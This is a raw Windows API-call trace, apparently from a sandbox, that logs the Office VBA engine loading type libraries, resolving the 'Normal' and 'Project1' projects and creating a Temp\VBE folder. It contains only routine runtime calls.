[0036.767] wcscpy_s (in: _Destination=0x81ab728, _SizeInWords=0x5f, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0036.767] wcscpy_s (in: _Destination=0x81ab72e, _SizeInWords=0x5c, _Source="{00020430-0000-0000-C000-000000000046}" | out: _Destination="{00020430-0000-0000-C000-000000000046}") returned 0x0 [0036.767] wcscpy_s (in: _Destination=0x81ab77a, _SizeInWords=0x36, _Source="#2.0#0#" | out: _Destination="#2.0#0#") returned 0x0 [0036.767] wcscpy_s (in: _Destination=0x81ab788, _SizeInWords=0x2f, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0036.767] wcscpy_s (in: _Destination=0x81ab7c8, _SizeInWords=0xf, _Source="OLE Automation" | out: _Destination="OLE Automation") returned 0x0 [0036.767] ITypeLib:LocalReleaseTLibAttr (This=0x7f8b1f0) returned 0x0 [0036.767] IMalloc:Realloc (This=0x7feff045380, pv=0x81e55d0, cb=0x680) returned 0x81e5fe0 [0036.767] wcscpy_s (in: _Destination=0x81e6278, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0036.767] ITypeLib:RemoteGetDocumentation (in: This=0x7f8b1f0, index=-1, refPtrFlags=0x267428, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1) returned 0x0 [0036.767] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="stdole") returned 0x106093 [0036.767] strcpy_s (in: _Dst=0x267220, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0036.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x267220, cbMultiByte=7, lpWideCharStr=0x267070, cchWideChar=7 | out: lpWideCharStr="stdole") returned 7 [0036.767] IUnknown:AddRef (This=0x7f8b790) returned 0x3 [0036.767] ITypeLib:RemoteIsName (in: This=0x7f8b790, szNameBuf="stdole", lHashVal=0x106093, pfName=0x267140, pBstrLibName=0x267070 | out: pfName=0x267140*=0, pBstrLibName=0x267070) returned 0x0 [0036.767] IUnknown:Release (This=0x7f8b790) returned 0x2 [0036.767] IUnknown:AddRef (This=0x7f887c0) returned 0x4 [0036.767] ITypeLib:RemoteIsName (in: This=0x7f887c0, szNameBuf="stdole", lHashVal=0x106093, pfName=0x267140, pBstrLibName=0x267070 | out: pfName=0x267140*=0, pBstrLibName=0x267070) returned 0x0 [0036.767] IUnknown:Release (This=0x7f887c0) returned 0x3 [0036.767] IMalloc:Alloc (This=0x7feff045380, cb=0x24) returned 0x81c5420 [0036.767] IMalloc:Free (This=0x7feff045380, pv=0x7ff2050) [0036.767] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x81c5450 [0036.767] IMalloc:Realloc (This=0x7feff045380, pv=0x81c5450, cb=0x50) returned 0x805d0d0 [0036.767] IMalloc:Free (This=0x7feff045380, pv=0x81c5420) [0036.767] wcsncpy_s (in: _Destination=0x267020, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0036.767] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation") returned 0x5e [0036.767] IMalloc:Alloc (This=0x7feff045380, cb=0xbe) returned 0x81b02c0 [0036.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x81b02c0, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0036.767] IMalloc:Free (This=0x7feff045380, pv=0x81b02c0) [0036.767] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0 [0036.767] wcsncpy_s (in: _Destination=0x267020, _SizeInWords=0x108, _Source="*\\Z015e3fce51", _MaxCount=0x106 | out: _Destination="*\\Z015e3fce51") returned 0x0 [0036.768] CharLowerBuffW (in: lpsz="*\\Z015e3fce51", cchLength=0xd | out: lpsz="*\\z015e3fce51") returned 0xd [0036.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015e3fce51", cchWideChar=14, lpMultiByteStr=0x266f50, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015e3fce51", lpUsedDefaultChar=0x0) returned 14 [0036.768] _wcsicmp (_String1="*\\Z015e3fce51", _String2="*\\Z015e3fce51") returned 0 [0036.768] IUnknown:AddRef (This=0x7f8b1f0) returned 0x5 [0036.768] IUnknown:QueryInterface (in: This=0x7f8b1f0, riid=0x7fee40885a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267448 | out: ppvObject=0x267448*=0x0) returned 0x80004002 [0036.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x267410, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0036.768] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="stdole") returned 0x106093 [0036.768] IUnknown:Release (This=0x7f8b1f0) returned 0x4 [0036.768] IUnknown:Release (This=0x7f8b1f0) returned 0x3 [0036.768] GetModuleFileNameA (in: hModule=0x7fee3ce0000, lpFilename=0x2677b0, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0036.768] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", _SizeInBytes=0x104, _Source="\\3" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL\\3") returned 0x0 [0036.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2677b0, cbMultiByte=-1, lpWideCharStr=0x267710, cchWideChar=69 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL\\3") returned 69 [0036.768] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL\\3", pptlib=0x2677a0*=0x0 | out: pptlib=0x2677a0*=0x7f8b4c0) returned 0x0 [0036.772] ITypeLib:GetTypeInfoOfGuid (in: This=0x7f8b4c0, GUID=0x7fee4088ed0, ppTInfo=0x267930 | out: ppTInfo=0x267930*=0x81e6678) returned 0x0 [0036.772] ITypeInfo:RemoteGetTypeAttr (in: This=0x81e6678, ppTypeAttr=0x267880, pDummy=0x0 | out: ppTypeAttr=0x267880, pDummy=0x0) returned 0x0 [0036.772] ITypeInfo:LocalReleaseTypeAttr (This=0x81e6678) returned 0x0 [0036.773] ITypeInfo:RemoteGetTypeAttr (in: This=0x81e6678, ppTypeAttr=0x267820, pDummy=0x0 | out: ppTypeAttr=0x267820, pDummy=0x0) returned 0x0 [0036.773] GetTempPathA (in: nBufferLength=0x104, lpBuffer=0x2676c0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 0x25 [0036.773] _access (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", _AccessMode=0) returned 0 [0036.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE", cchWideChar=-1, lpMultiByteStr=0x267580, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE", lpUsedDefaultChar=0x0) returned 4 [0036.773] lstrlenA (lpString="VBE") returned 3 [0036.773] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 37 [0036.773] _msize (_Block=0xae67f40) returned 0x26 [0036.773] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 37 [0036.773] lstrlenA (lpString="VBE") returned 3 [0036.773] _msize (_Block=0xae67f70) returned 0x26 [0036.773] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 37 [0036.773] lstrlenA (lpString="VBE") returned 3 [0036.774] lstrcatA (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", lpString2="VBE" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE" [0036.774] strcpy_s (in: _Dst=0xae6b380, _DstSize=0x29, _Src="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned 0x0 [0036.774] _access_s (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE", _AccessMode=0) returned 0x2 [0036.774] strcpy_s (in: _Dst=0xae6b380, _DstSize=0x29, _Src="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned 0x0 [0036.774] _mkdir (_Path="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned 0 [0036.775] strcpy_s (in: _Dst=0xae6b380, _DstSize=0x29, _Src="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned 0x0 [0036.775] strcpy_s (in: _Dst=0xae6b380, _DstSize=0x29, _Src="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned 0x0 [0036.775] strcpy_s (in: _Dst=0xae6b380, _DstSize=0x29, _Src="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned 0x0 [0036.775] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xae6b380, cbMultiByte=-1, lpWideCharStr=0x267520, cchWideChar=41 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned 41 [0036.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE", cchWideChar=-1, lpMultiByteStr=0x2677c0, cbMultiByte=81, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE", lpUsedDefaultChar=0x0) returned 41 [0036.775] _access_s (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE", _AccessMode=0) returned 0x0 [0036.775] IUnknown:AddRef (This=0x81e6678) returned 0x2 [0036.775] ITypeInfo:LocalReleaseTypeAttr (This=0x81e6678) returned 0x0 [0036.775] StringFromCLSID (in: rclsid=0xae6b33c*(Data1=0x3832d640, Data2=0xcf90, Data3=0x11cf, Data4=([0]=0x8e, [1]=0x43, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x5a)), lplpsz=0x2677f0 | out: lplpsz=0x2677f0*="{3832D640-CF90-11CF-8E43-00A0C911005A}") returned 0x0 [0036.775] IMalloc:Alloc (This=0x7feff045380, cb=0x27) returned 0x81c5450 [0036.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="{3832D640-CF90-11CF-8E43-00A0C911005A}", cchWideChar=-1, lpMultiByteStr=0x81c5450, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{3832D640-CF90-11CF-8E43-00A0C911005A}", lpUsedDefaultChar=0x0) returned 39 [0036.775] IMalloc:Free (This=0x7feff045380, pv=0x805d190) [0036.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE", cchWideChar=-1, lpMultiByteStr=0x267800, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE", lpUsedDefaultChar=0x0) returned 4 [0036.775] lstrlenA (lpString="VBE") returned 3 [0036.775] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A}") returned 38 [0036.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE", cchWideChar=-1, lpMultiByteStr=0x2677f0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE", lpUsedDefaultChar=0x0) returned 4 [0036.775] wsprintfA (in: param_1=0xae67e00, param_2="%s;%s;&H%08lX" | out: param_1="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0036.775] wsprintfA (in: param_1=0x267818, param_2="&H%08lX" | out: param_1="&H00000001") returned 10 [0036.776] lstrcpynA (in: lpString1=0xae6b3a0, lpString2="Host Extender Info", iMaxLength=256 | out: lpString1="Host Extender Info") returned="Host Extender Info" [0036.776] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0036.776] lstrcpyA (in: lpString1=0xae6b5e0, lpString2="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" | out: lpString1="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" [0036.776] IMalloc:Free (This=0x7feff045380, pv=0x81c5450) [0036.776] GetCurrentThreadId () returned 0x924 [0036.776] GetCurrentThreadId () returned 0x924 [0036.776] IMalloc:Alloc (This=0x7feff045380, cb=0x28) returned 0x81c5450 [0036.776] GetCursorPos (in: lpPoint=0x267a40 | out: lpPoint=0x267a40*(x=1214, y=855)) returned 1 [0036.776] GetCapture () returned 0x0 [0036.776] WindowFromPoint (Point=0x355000004bd) returned 0x101d8 [0036.776] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0036.776] SendMessageA (hWnd=0x101d8, Msg=0x84, wParam=0x0, lParam=0x35504bd) returned 0x1 [0036.776] SendMessageA (hWnd=0x101d8, Msg=0x20, wParam=0x101d8, lParam=0x2000001) returned 0x1 [0036.776] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0036.776] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c5ed8, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0036.777] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0036.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c5ed8, cbMultiByte=9, lpWideCharStr=0x81c5fc8, cchWideChar=9 | out: lpWideCharStr="Project1") returned 9 [0036.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0x267a20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0036.777] IsCharAlphaA (ch=78) returned 1 [0036.777] lstrlenA (lpString="Normal") returned 6 [0036.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x267a40, cbMultiByte=-1, lpWideCharStr=0xae69150, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0036.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x2678d0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0036.777] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0036.777] lstrlenA (lpString="Normal") returned 6 [0036.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x267a40, cbMultiByte=-1, lpWideCharStr=0xae69150, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0036.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x267890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0036.777] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0036.777] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0036.777] lstrlenA (lpString="Normal") returned 6 [0036.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x267880, cbMultiByte=-1, lpWideCharStr=0x267800, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0036.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x267740, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0036.777] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0036.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x267750, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0036.777] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0036.777] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0036.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c5ed8, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0036.777] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0036.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c5ed8, cbMultiByte=9, lpWideCharStr=0x81c5fc8, cchWideChar=9 | out: lpWideCharStr="Project1") returned 9 [0036.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=-1, lpMultiByteStr=0x267830, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0036.778] lstrcmpA (lpString1="Project1", lpString2="Normal") returned 1 [0036.778] lstrcmpiA (lpString1="Project1", lpString2="Normal") returned 1 [0036.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x267730, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0036.778] lstrcmpiA (lpString1="Project1", lpString2="Normal") returned 1 [0036.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0036.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0x267630, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0036.778] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0036.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3232a3e, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0036.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3232a3e, cbMultiByte=8, lpWideCharStr=0x81c5ed8, cchWideChar=8 | out: lpWideCharStr="Project1") returned 8 [0036.778] GetLocalTime (in: lpSystemTime=0x2674d0 | out: lpSystemTime=0x2674d0*(wYear=0x7e3, wMonth=0x2, wDayOfWeek=0x1, wDay=0xb, wHour=0x9, wMinute=0x12, wSecond=0x9, wMilliseconds=0x3dd)) [0036.778] wcsncpy_s (in: _Destination=0x267180, _SizeInWords=0x108, _Source="*\\Z015e3fce51", _MaxCount=0x106 | out: _Destination="*\\Z015e3fce51") returned 0x0 [0036.778] CharLowerBuffW (in: lpsz="*\\Z015e3fce51", cchLength=0xd | out: lpsz="*\\z015e3fce51") returned 0xd [0036.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015e3fce51", cchWideChar=14, lpMultiByteStr=0x2670b0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015e3fce51", lpUsedDefaultChar=0x0) returned 14 [0036.778] _wcsicmp (_String1="*\\Z015e3fce51", _String2="*\\Z015e3fce51") returned 0 [0036.778] GetLocalTime (in: lpSystemTime=0x2674d0 | out: lpSystemTime=0x2674d0*(wYear=0x7e3, wMonth=0x2, wDayOfWeek=0x1, wDay=0xb, wHour=0x9, wMinute=0x12, wSecond=0x9, wMilliseconds=0x3dd)) [0036.778] wcsncpy_s (in: _Destination=0x267180, _SizeInWords=0x108, _Source="*\\Z015e3fce51", _MaxCount=0x106 | out: _Destination="*\\Z015e3fce51") returned 0x0 [0036.778] CharLowerBuffW (in: lpsz="*\\Z015e3fce51", cchLength=0xd | out: lpsz="*\\z015e3fce51") returned 0xd [0036.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015e3fce51", cchWideChar=14, lpMultiByteStr=0x2670b0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015e3fce51", lpUsedDefaultChar=0x0) returned 14 [0036.778] _wcsicmp (_String1="*\\Z015e3fce51", _String2="*\\Z015e3fce51") returned 0 [0036.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x267540, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0036.778] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0036.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x267540, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0036.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x267400, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0036.778] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0036.778] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0036.778] IMalloc:Alloc (This=0x7feff045380, cb=0x30) returned 0x7e67200 [0036.778] IMalloc:Free (This=0x7feff045380, pv=0x805d0d0) [0036.778] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x81c53f0 [0036.778] IMalloc:Realloc (This=0x7feff045380, pv=0x81c53f0, cb=0x50) returned 0x805d0d0 [0036.778] IMalloc:Free (This=0x7feff045380, pv=0x7e67200) [0036.778] wcsncpy_s (in: _Destination=0x267200, _SizeInWords=0x108, _Source="*\\Z015e3fce51", _MaxCount=0x106 | out: _Destination="*\\Z015e3fce51") returned 0x0 [0036.779] CharLowerBuffW (in: lpsz="*\\Z015e3fce51", cchLength=0xd | out: lpsz="*\\z015e3fce51") returned 0xd [0036.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015e3fce51", cchWideChar=14, lpMultiByteStr=0x267130, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015e3fce51", lpUsedDefaultChar=0x0) returned 14 [0036.779] _wcsicmp (_String1="*\\Z015e3fce51", _String2="*\\Z015e3fce51") returned 0 [0036.779] strcpy_s (in: _Dst=0x815deb0, _DstSize=0x7, _Src="Normal" | out: _Dst="Normal") returned 0x0 [0036.779] SysStringByteLen (bstr="潎浲污") returned 0x6 [0036.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c5ed8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0036.779] SysStringByteLen (bstr="潎浲污") returned 0x6 [0036.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c5ed8, cbMultiByte=7, lpWideCharStr=0x81c53f8, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0036.779] lstrlenA (lpString="Normal") returned 6 [0036.779] SysStringByteLen (bstr="潎浲污") returned 0x6 [0036.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c5ed8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0036.779] SysStringByteLen (bstr="潎浲污") returned 0x6 [0036.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c5ed8, cbMultiByte=7, lpWideCharStr=0x81c53f8, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0036.779] lstrlenA (lpString="Normal") returned 6 [0036.780] lstrcmpiW (lpString1="Normal", lpString2="") returned 1 [0036.781] wcscpy_s (in: _Destination=0x2676a6, _SizeInWords=0x105, _Source="Normal" | out: _Destination="Normal") returned 0x0 [0036.781] _wcsicmp (_String1="*\\CNormal", _String2="*\\Z015e3fce51") returned -23 [0036.781] IUnknown:AddRef (This=0x7f8b790) returned 0x3 [0036.781] IUnknown:QueryInterface (in: This=0x7f8b790, riid=0x7fee4085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267108 | out: ppvObject=0x267108*=0x0) returned 0x80004002 [0036.781] IUnknown:Release (This=0x7f8b790) returned 0x2 [0036.781] IUnknown:AddRef (This=0x7f887c0) returned 0x4 [0036.781] IUnknown:QueryInterface (in: This=0x7f887c0, riid=0x7fee4085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267108 | out: ppvObject=0x267108*=0x0) returned 0x80004002 [0036.782] IUnknown:Release (This=0x7f887c0) returned 0x3 [0036.782] IUnknown:AddRef (This=0x7f8b1f0) returned 0x4 [0036.782] IUnknown:QueryInterface (in: This=0x7f8b1f0, riid=0x7fee4085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267108 | out: ppvObject=0x267108*=0x0) returned 0x80004002 [0036.782] IUnknown:Release (This=0x7f8b1f0) returned 0x3 [0036.782] wcsncpy_s (in: _Destination=0x266dd0, _SizeInWords=0x108, _Source="*\\Z015e3fce51", _MaxCount=0x106 | out: _Destination="*\\Z015e3fce51") returned 0x0 [0036.782] 